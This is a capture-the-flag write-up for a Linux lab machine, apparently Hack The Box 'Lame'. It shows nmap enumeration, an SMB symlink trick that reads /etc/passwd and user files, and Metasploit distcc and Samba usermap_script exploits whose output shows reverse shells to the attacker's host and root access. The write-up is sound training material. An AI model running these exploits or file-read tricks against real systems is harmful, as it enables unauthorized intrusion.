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OS: Linux, Difficulty: Easy, IP: 10.10.10.3

Initial Enumeration

1000 Common TCP port scan

sudo nmap -oN T-common 10.10.10.3

# Nmap 7.70 scan initiated Tue Jul  2 21:55:24 2019 as: nmap -oN T-common 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.23s latency).
Not shown: 996 filtered ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

# Nmap done at Tue Jul  2 21:55:38 2019 -- 1 IP address (1 host up) scanned in 13.34 seconds

100% TCP port scan

sudo nmap -p- -T4 -oN T-all 10.10.10.3

# Nmap 7.70 scan initiated Tue Jul  2 21:55:36 2019 as: nmap -p- -T4 -oN T-all 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).
Not shown: 65530 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd

# Nmap done at Tue Jul  2 21:59:27 2019 -- 1 IP address (1 host up) scanned in 230.72 seconds

Detailed scan on all the open TCP ports

sudo nmap -sV -sC -p 21,22,139,445,3632 -oN O-Detailed 10.10.10.3

# Nmap 7.70 scan initiated Tue Jul  2 22:00:25 2019 as: nmap -sV -sC -p 21,22,139,445,3632 -oN O-Detailed 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.13
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 4h06m55s, deviation: 0s, median: 4h06m55s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name:
|   Workgroup: WORKGROUP\x00
|_  System time: 2019-07-02T12:37:33-04:00
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  2 22:01:18 2019 -- 1 IP address (1 host up) scanned in 52.99 seconds

Probable attack vectors

Service	Reason
FTP - 21	Anonymous login enabled
SMB - 445	Samba shares enumeration and old version of samba
DistCCD - 3632	An odd service running version 1

FTP file enumeration got me nothing.

Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:jtnydv): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 .
drwxr-xr-x    2 0        65534        4096 Mar 17  2010 ..
226 Directory send OK.
ftp> 

However the FTP Server vsFTPd 2.3.4 is vulnerable to remote code execution (MSF) as per my initial searchsploit search.

vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

However, running this exploit using Metasploit and trying to exploit the vulnerability manually didn't get me a shell.

User Own

There are 2 ways to own the user in this box, as per my understanding.

Using SMB

I have read and write access in one of the SMB Shares.

smbmap -H 10.10.10.3 -u ""

[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.3...
[+] IP: 10.10.10.3:445  Name: 10.10.10.3                                        
        Disk                                                    Permissions
        ----                                                    -----------
        print$                                                  NO ACCESS
        tmp                                                     READ, WRITE
        opt                                                     NO ACCESS
        IPC$                                                    NO ACCESS
        ADMIN$                                                  NO ACCESS

smbclient \\\\10.10.10.3\\tmp "" 

Find all the users on the box

smb: \> symlink /etc/passwd pass
smb: \> get pass

cat pass | grep -vi 'false\|nologin\|sync'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
makis:x:1003:1003::/home/makis:/bin/sh

makis as a user stuck out to me hence I tried making a symlink to the /home/makis/user.txt file and own user.

smb: \> symlink /home/makis/user.txt user
smb: \> ls
  .                                   D        0  Wed Jul  3 10:14:05 2019
  ..                                 DR        0  Mon May 21 00:06:12 2012
  .ICE-unix                          DH        0  Wed Jul  3 10:01:57 2019
  pass                                R     1549  Wed Mar 15 03:46:58 2017
  user                                R       33  Wed Mar 15 01:57:44 2017
  .X11-unix                          DH        0  Wed Jul  3 10:02:34 2019
  5170.jsvc_up                        R        0  Wed Jul  3 10:03:10 2019
  .X0-lock                           HR       11  Wed Jul  3 10:02:34 2019

                7282168 blocks of size 1024. 5678804 blocks available
smb: \> get user
getting file \user of size 33 as user (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

As evident from the list of files, we have our user flag 69454***

Using DistCC service

A simple searchsploit search for DistCC got me a metasploit RCE exploit entry DistCC Daemon - Command Execution (Metasploit)

msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf5 exploit(unix/misc/distcc_exec) > exploit

[*] Started reverse TCP double handler on 10.10.14.13:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo pbbLnvIuNegIZaqi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.3:55417) at 2019-07-03 10:12:30 +0530

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
cat /home/makis/user.txt
69454***

Using this method also we can get the user flag from the system, however this is not privileged and can not be leveraged to get root, however, this is a good and stable shell for further enumeration.

Root Own

Owning root is a simple process in this box. Run an existing exploit Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) on the old samba service to get the root shell.

msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 10.10.14.13:4444 
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo NohFWWf4R8eYZZsR;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "NohFWWf4R8eYZZsR\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.3:41230) at 2019-07-03 10:16:23 +0530

id
uid=0(root) gid=0(root)
cat /root/root.txt
92caa***

Takeaway

My personal takeaway from this box was to enumerate all the running services and the their versions first before running into the manual enumeration. While solving this box I completely forgot about running samba service and wasted quite a while enumerating to privilege escalate my way to root using the daemon shell.